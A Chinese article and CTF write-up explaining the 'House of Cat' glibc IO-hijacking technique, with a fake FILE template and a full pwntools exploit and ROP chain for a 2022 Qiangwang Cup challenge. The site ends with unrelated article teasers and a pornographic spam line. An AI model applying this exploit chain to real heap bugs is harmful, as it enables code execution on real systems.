<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    House of cat新型glibc中IO利用手法解析 &amp; 第六屆強網杯House of cat詳解

    VSole2022-08-26 16:59:22

    House of Cat

    5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本(包括glibc2.35),命名為House of cat并出在2022強網杯中。

    簡介

    House of emma是glibc2.34下常用的攻擊手法之一,利用條件只需任意寫一個可控地址就可以控制程序執行流,攻擊威力十分強大。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。

    House of Cat利用了House of emma的虛表偏移修改思想,通過修改虛表指針的偏移,避免了對需要繞過TLS上 _pointer_chk_guard的檢測相關的IO函數的調用,轉而調用_IO_wfile_jumps中的_IO_wfile_seekoff函數,然后進入到_IO_switch_to_wget_mode函數中來攻擊,從而使得攻擊條件和利用變得更為簡單。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可(通常是結合__malloc_assert,改vtable為_IO_wfile_jumps+0x10)。

    利用條件

    1.能夠任意寫一個可控地址。

    2.能夠泄露堆地址和libc基址。

    3.能夠觸發IO流(FSOP或觸發__malloc_assert),執行IO相關函數

    利用原理

    IO_FILE結構及利用

    在高版本libc中,當攻擊條件有限(如不能造成任意地址寫)或者libc版本中無hook函數(libc2.34及以后)時,偽造fake_IO進行攻擊是一種常見可行的攻擊方式,常見的觸發IO函數的方式有FSOP、__malloc_assert,當進入IO流時會根據vtable指針調用相關的IO函數,如果在題目中造成任意地址寫一個可控地址(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache),然后偽造fake_IO結構體配合恰當的IO調用鏈,可以達到控制程序執行流的效果。

    vtable檢查

    在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。

    void _IO_vtable_check (void) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){  uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;  uintptr_t ptr = (uintptr_t) vtable;  uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;  if (__glibc_unlikely (offset >= section_length))    _IO_vtable_check ();  return vtable;}
    

    其檢查流程為:計算_IO_vtable 段的長度(section_length),用當前虛表指針的地址減去_IO_vtable 段的開始地址,如果vtable相對于開始地址的偏移大于等于section_length,那么就會進入_IO_vtable_check進行更詳細的檢查,否則的話會正常調用。如果vtable是非法的,進入_IO_vtable_check函數后會觸發abort。

    雖然對vtable的檢查較為嚴格,但是對于具體位置和具體偏移的檢測則是較為寬松的,可以修改vtable指針為虛表段內的任意位置,也就是對于某一個_IO_xxx_jumps的任意偏移,使得其調用攻擊者想要調用的IO函數。

    __malloc_assert與FSOP

    在glibc中存在一個函數_malloc_assert,其中會根據vtable表如_IO_xxx_jumps調用IO等相關函數;該函數最終會根據stderr這個IO結構體進行相關的IO操作。

    代碼如下:

    static void__malloc_assert (const char *assertion, const char *file, unsigned int line,         const char *function){  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",             __progname, __progname[0] ? ": " : "",             file, line,             function ? function : "", function ? ": " : "",             assertion);  fflush (stderr);  abort ();}
    

    house of kiwi提供了一種調用該函數的思路,可以通過修改topchunk的大小觸發,即滿足下列條件中的一個:

    1.topchunk的大小小于MINSIZE(0X20)

    2.prev inuse位為0

    3.old_top頁未對齊

    assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));
    

    下面介紹另一種觸發house of cat的方式FSOP。

    程序中所有的_IO_FILE 結構用_chain連接形成一個單鏈表,鏈表的頭部則是_IO_list_all。

    FSOP就是通過劫持_IO_list_all的值(如large bin attack修改)來執行_IO_flush_all_lockp函數,這個函數會根據_IO_list_all刷新鏈表中的所有文件流,在libc中代碼如下,其中會調用vtable中的IO函數_IO_OVERFLOW,根據我們上面所說的虛表偏移可變思想,這個地方的虛表偏移也是可修改的,然后配合偽造IO結構體可以執行house of cat的調用鏈。

    int_IO_flush_all_lockp (int do_lock){  ...  fp = (_IO_FILE *) _IO_list_all;  while (fp != NULL)  {       ...       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))               && _IO_OVERFLOW (fp, EOF) == EOF)           {               result = EOF;          }        ...  }}
    

    觸發條件則是有三種情況。

    FSOP有三種情況(能從main函數中返回、程序中能執行exit函數、libc中執行abort),第三種情況在高版本中已經刪除;__malloc_assert則是在malloc中觸發,通常是修改top chunk的大小。

    一種可行的IO調用鏈

    在_IO_wfile_jumps結構體中,會根據虛表進行相關的函數調用。

    const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={  JUMP_INIT_DUMMY,  JUMP_INIT(finish, _IO_new_file_finish),  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),  JUMP_INIT(xsputn, _IO_wfile_xsputn),  JUMP_INIT(xsgetn, _IO_file_xsgetn),  JUMP_INIT(seekoff, _IO_wfile_seekoff),  JUMP_INIT(seekpos, _IO_default_seekpos),  JUMP_INIT(setbuf, _IO_new_file_setbuf),  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),  JUMP_INIT(doallocate, _IO_wfile_doallocate),  JUMP_INIT(read, _IO_file_read),  JUMP_INIT(write, _IO_new_file_write),  JUMP_INIT(seek, _IO_file_seek),  JUMP_INIT(close, _IO_file_close),  JUMP_INIT(stat, _IO_file_stat),  JUMP_INIT(showmanyc, _IO_default_showmanyc),  JUMP_INIT(imbue, _IO_default_imbue)};
    

    其中_IO_wfile_seekoff函數代碼如下:

    off64_t_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){  off64_t result;  off64_t delta, new_offset;  long int count;   if (mode == 0)    return do_ftell_wide (fp);  int must_be_exact = ((fp->_wide_data->_IO_read_base            == fp->_wide_data->_IO_read_end)               && (fp->_wide_data->_IO_write_base               == fp->_wide_data->_IO_write_ptr));#需要繞過was_writing的檢測  bool was_writing = ((fp->_wide_data->_IO_write_ptr               > fp->_wide_data->_IO_write_base)              || _IO_in_put_mode (fp));   if (was_writing && _IO_switch_to_wget_mode (fp))    return WEOF;......}
    

    其中fp結構體是我們可以偽造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base來調用_IO_switch_to_wget_mode這個函數,繼續跟進代碼。

    int_IO_switch_to_wget_mode (FILE *fp){  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)      return EOF;  ......}
    

    而_IO_WOVERFLOW是glibc里定義的一個宏調用函數。

    #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
    

    對_IO_WOVERFLOW沒有進行任何檢測,為了便于理解,我們再來看看匯編代碼。

    ? 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>   0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
    

    主要關注這幾句,做了以下幾點事情:

    1.將[rdi+0xa0]處的內容賦值給rax,為了避免與下面的rax混淆,稱之為rax1。

    2.將新賦值的[rax1+0x20]處的內容賦值給rdx。

    3.將[rax1+0xe0]處的內容賦值給rax,稱之為rax2。

    4.call調用[rax2+0x18]處的內容。

    0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
    

    而rdi現在是什么狀態呢?gdb調試來看看。

    可以看到這是一個堆地址,而實際上此時rdi就是偽造的IO結構體的地址,也是可控的。

    在造成任意地址寫一個堆地址的基礎上,這里的寄存器rdi(fake_IO的地址)、rax和rdx都是我們可以控制的,在開啟沙箱的情況下,假如把最后調用的[rax + 0x18]設置為setcontext,把rdx設置為可控的堆地址,就能執行srop來讀取flag;如果未開啟沙箱,則只需把最后調用的[rax + 0x18]設置為system函數,把fake_IO的頭部寫入/bin/sh字符串,就可執行system("/bin/sh")。

    fake_IO結構體需要繞過的檢測

    _wide_data->_IO_read_ptr != _wide_data->_IO_read_end_wide_data->_IO_write_ptr > _wide_data->_IO_write_base#如果_wide_data=fake_io_addr+0x30,其實也就是fp->_IO_save_base < f->_IO_backup_basefp->_lock是一個可寫地址(堆地址、libc中的可寫地址)
    

    攻擊流程

    1.修改_IO_list_all為可控地址(FSOP)或修改stderr為可控地址(__malloc_assert)。

    2.在上一步的可控地址中偽造fake_IO結構體(也可以在任意地址寫的情況下修改stderr、stdout等結構體)。

    3.通過FSOP或malloc觸發攻擊。

    為了便于理解,畫個圖:

    模板

    house of cat的模板,原理參照上圖。偽造IO結構體時只需修改fake_io_addr地址,_IO_save_end為想要調用的函數,_IO_backup_base為執行函數時的rdx,以及修改_flags為執行函數時的rdi。

    fake_io_addr=heapbase+0xb00 # 偽造的fake_IO結構體的地址next_chain = 0fake_IO_FILE=p64(rdi)         #_flags=rdifake_IO_FILE+=p64(0)*7fake_IO_FILE +=p64(1)+p64(0)fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdxfake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')fake_IO_FILE += p64(0)  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable addressfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrfake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')fake_IO_FILE += p64(0)fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
    

    2022強網杯 house of cat

    保護與沙箱

    保護全開,禁用了execve還檢查了read的fd。

    分析

    main函數在每一次循環開始有對tcache_bins的賦值,相當于不讓打tcache_bins造成任意地址寫。

    sub_1A50函數對輸入的cmd進行了格式檢查,返回值部位0才能進入到do_cmd,do_cmd則是能夠執行到堆塊管理結構,先來看sub_1A50,為了便于查看,這里用代碼展示:

    __int64 __fastcall sub_1A50(char *a1, __int64 a2){  char *s; // [rsp+18h] [rbp-28h]  char *v4; // [rsp+20h] [rbp-20h]  char *v5; // [rsp+20h] [rbp-20h]  char *v6; // [rsp+20h] [rbp-20h]  const char *s2; // [rsp+28h] [rbp-18h]  char *v8; // [rsp+30h] [rbp-10h]  const char *s1; // [rsp+38h] [rbp-8h]   v4 = strstr(a1, "QWB");  if ( !v4 )    return 0LL; //包含 QWB,否則返回0也就是不能執行do_cmd  *v4 = 0;  v4[1] = 0;  v4[2] = 32;  v5 = v4 + 3;  s2 = strtok(a1, " "); //用空格分隔開  if ( !strcmp("LOGIN", s2) )  {    *(_BYTE *)(a2 + 8) = 1;  }  else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) )  {    if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) )    {      if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) )      {        if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) )        {          if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) )          {            if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) )            {              if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) )              {                if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) )                {                  if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) )                    return 0LL;                  *(_BYTE *)(a2 + 8) = 10;                }                else                {                  *(_BYTE *)(a2 + 8) = 9;                }              }              else              {                *(_BYTE *)(a2 + 8) = 8;              }            }            else            {              *(_BYTE *)(a2 + 8) = 7;            }          }          else          {            *(_BYTE *)(a2 + 8) = 6;          }        }        else        {          *(_BYTE *)(a2 + 8) = 5;        }      }      else      {        *(_BYTE *)(a2 + 8) = 4;      }    }    else    {      *(_BYTE *)(a2 + 8) = 3;    }  }  else  {    *(_BYTE *)(a2 + 8) = 2;  }  v8 = strtok(0LL, " ");  if ( v8 != strchr(v8, '|') )//查找'|'的第一個匹配之處    return 0LL;  *(_QWORD *)a2 = v8;  s1 = strtok(0LL, " ");  if ( strcmp(s1, "r00t") ) //比較'r00t’的存在    return 0LL;  s = v5 + 5;  v6 = strstr(v5, "QWXF");//檢查是否有'QWXF'  if ( !v6 )    return 0LL;  *v6 = 0;  v6[1] = 0;  v6[2] = 0;  v6[3] = 32;  *(_QWORD *)(a2 + 16) = s;  return 1LL;}
    

    再來看看do_cmd函數:

    __int64 __fastcall sub_1DF3(__int64 a1){  __int64 result; // rax  unsigned int v2; // eax  char *v3; // [rsp+18h] [rbp-8h]   if ( *(_BYTE *)(a1 + 8) == 1 && !strcmp(*(const char **)(a1 + 16), "admin") )    dword_4040[0] = 1;//login  result = *(unsigned __int8 *)(a1 + 8);  if ( (_BYTE)result == 3 )  {    result = (__int64)strtok(*(char **)(a1 + 16), "$");    v3 = (char *)result;    if ( result )    {      result = dword_4014;//      if ( *v3 == dword_4014 )      {        result = dword_4040[0];        if ( dword_4040[0] )        {          menu();          v2 = getnumber();          if ( v2 == 4 )          {            return edit();          }          else          {            if ( v2 <= 4 )            {              switch ( v2 )              {                case 3u:                  return show();                case 1u:                  return add();                case 2u:                  return delete();              }            }            return output("error!\n");          }        }      }    }  }  return result;};      if ( *v3 == dword_4014 )//dword_4014檢查是否為0xffffffff      {        result = dword_4040[0];//dword_4040[0]檢查是否login        if ( dword_4040[0] )        {          menu();          v2 = getnumber();          if ( v2 == 4 )          {            return edit();          }          else          {            if ( v2 <= 4 )            {              switch ( v2 )              {                case 3u:                  return show();                case 1u:                  return add();                case 2u:                  return delete();              }            }            return output("error!\n");          }        }      }    }  }  return result;}
    

    這里需要了解一下strtok等幾個函數的作用,可以gdb動態調試結合靜態逆向,不再贅述。首先我們需要login,然后再進入堆塊管理函數,格式為:

    LOGIN | r00t QWB QWXFadminCAT | r00t QWB QWXF$\xff
    

    重點看一下堆塊管理函數。

    add函數,calloc申請堆塊,大小在0x418-0x470之間。

    delete函數有UAF。

    edit函數只能編寫48個字節(防止UAF造成溢出),且只有2次機會。

    利用

    無法退出main函數,也沒有exit等能造成FSOP的方式,但是stderr不在bss上而在libc中,可以在得到libc地址后large bin attack位于libc中的stderr,再在得到heap地址的基礎上修改top chunk的size,這里用large bin attack修改。所以兩次edit相當于給了兩次large bin attack的機會,一次用來large bin attack stderr,一次用來large bin attack topchunk's size。另外由于對fd的檢查,需要close(0)使flag文件的文件描述符為0,或者用mmap函數將flag映射讀入。

    1.泄露libc地址和堆地址

    2.large bin attack stderr

    3.large bin attack topchunk's size

    4.偽造fake_IO

    5.觸發__malloc_assert,進入_IO_wfile_seekoff轉到_IO_switch_to_wget_mode

    6.setcontext執行rop鏈

    exp

    from pwn import *p=process('./houseofcat')libc=ELF('./libc.so.6')context.log_level='debug'r = lambda x: p.recv(x)ra = lambda: p.recvall()rl = lambda: p.recvline(keepends=True)ru = lambda x: p.recvuntil(x, drop=True)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)ia = lambda: p.interactive()c = lambda: p.close()li = lambda x: log.info(x)db = lambda: gdb.attach(p)sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')def add(idx,size,cont):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n',str(1))    sla('plz input your cat idx:\n',str(idx))    sla('plz input your cat size:\n',str(size))    sa('plz input your content:\n',cont)def delete(idx):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(2))    sla('plz input your cat idx:\n',str(idx))def show(idx):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(3))    sla('plz input your cat idx:\n',str(idx))def edit(idx,cont):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(4))    sla('plz input your cat idx:\n',str(idx))    sa('plz input your content:\n', cont)#gdb.attach(p,'b* $rebase(0x1DDD)')add(0,0x420,'aaa')add(1,0x430,'bbb')add(2,0x418,'ccc')delete(0)add(3,0x440,'ddd')show(0)ru('Context:\n')libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0info('libc->'+hex(libcbase))rdi=libcbase+0x000000000002a3e5rsi=libcbase+0x000000000002be51rdxr12=libcbase+0x000000000011f497ret=libcbase+0x0000000000029cd6rax=libcbase+0x0000000000045eb0stderr=libcbase+libc.sym['stderr']setcontext=libcbase+libc.sym['setcontext']close=libcbase+libc.sym['close']read=libcbase+libc.sym['read']write=libcbase+libc.sym['write']syscallret=libcbase+libc.search(asm('syscall\nret')).next()p.recv(10)heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x290info('heap->'+hex(heapaddr))#fake IOioaddr=heapaddr+0xb00next_chain = 0fake_IO_FILE = p64(0)*4fake_IO_FILE +=p64(0)fake_IO_FILE +=p64(0)fake_IO_FILE +=p64(1)+p64(0)fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdxfake_IO_FILE +=p64(setcontext+61)#call addrfake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')fake_IO_FILE += p64(0 )  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')fake_IO_FILE +=p64(heapaddr+0xb30) #rax1fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')fake_IO_FILE += p64(0)  # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')fake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2flagaddr=heapaddr+0x17d0payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)delete(2)add(6,0x418,payload1)delete(6)#large bin attack stderr poiniteredit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))add(5,0x440,'aaaaa')add(7,0x430,'flag')add(8,0x430,'eee')#roppayload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)add(9,0x430,payload)delete(5)add(10,0x450,p64(0)+p64(1))delete(8)# large bin attack topchunk's sizeedit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))#trigger __malloc_assertsa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n',str(1))sla('plz input your cat idx:',str(11))gdb.attach(p,'b* (_IO_wfile_seekoff)')sla('plz input your cat size:',str(0x450))p.interactive()
    

    結語

    在2022強網杯比賽中,由于一位大佬在前一天提供了另一種攻擊手法,并且也可以用堆風水結合house of emma進行攻擊,導致這道題目難度降低了很多。

    順便說一下,house of apple2和house of emma也是優秀的攻擊手法,但是強網杯house of cat這道題目本意不是通過現成的攻擊方式來利用,而是考察現找IO鏈的能力,題目解法不限于一種,感興趣的師傅可以自行去研究其他的攻擊方式。

    函數調用char函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    CPU性能嚴重溢出,可能就是這些廠商的想法吧,反正不用白不用,這些算力也不是自己的。?有圖有真相 Unidbg的殺手锏 CPU指令級別Traceps:Unidbg跟010Editor更配哦!今天就來帶大家以自身使用的經驗去了解一下Unidbg!?當然Unidbg能做的遠遠不止這些,本文并不是一篇科普文,所以本文假定讀者都是有一定基礎的同學。
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    shellcode編寫探究
    2022-06-09 15:34:57
    前言shellcode是不依賴環境,放到任何地方都可以執行的機器碼。shellcode的應用場景很多,本文不研究shellcode的具體應用,而只是研究編寫一個shellcode需要掌握哪些知識。要使用字符串,需要使用字符數組。所以我們需要用到 LoadLibrary 和 GetProcAddress 這兩個函數,來動態獲取系統API的函數指針。
    漏洞描述該漏洞存在與win32k模塊中的SetImeInfoEx函數,在該函數中未對tagWINDOWSTATION結構偏移0x14的spkiList進行有效性驗證就對其進行解引用操作,而spkList可以為NULL,此時就會對地址0x14進行解引用操作,導致系統崩潰。
    由于RPC的規范非常復雜,且相關內容很少,所以我也只是根據文檔和調式盡可能地將我的理解貼上來,如果有誤歡迎指正。MyRPCServer向外只導出一個函數,并打印出4個傳入的參數內容.MyRPCClient是一個最簡單的RPC客戶端,它調用MyRPCServer向外導出的HelloProc函數,并傳入4個參數。
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类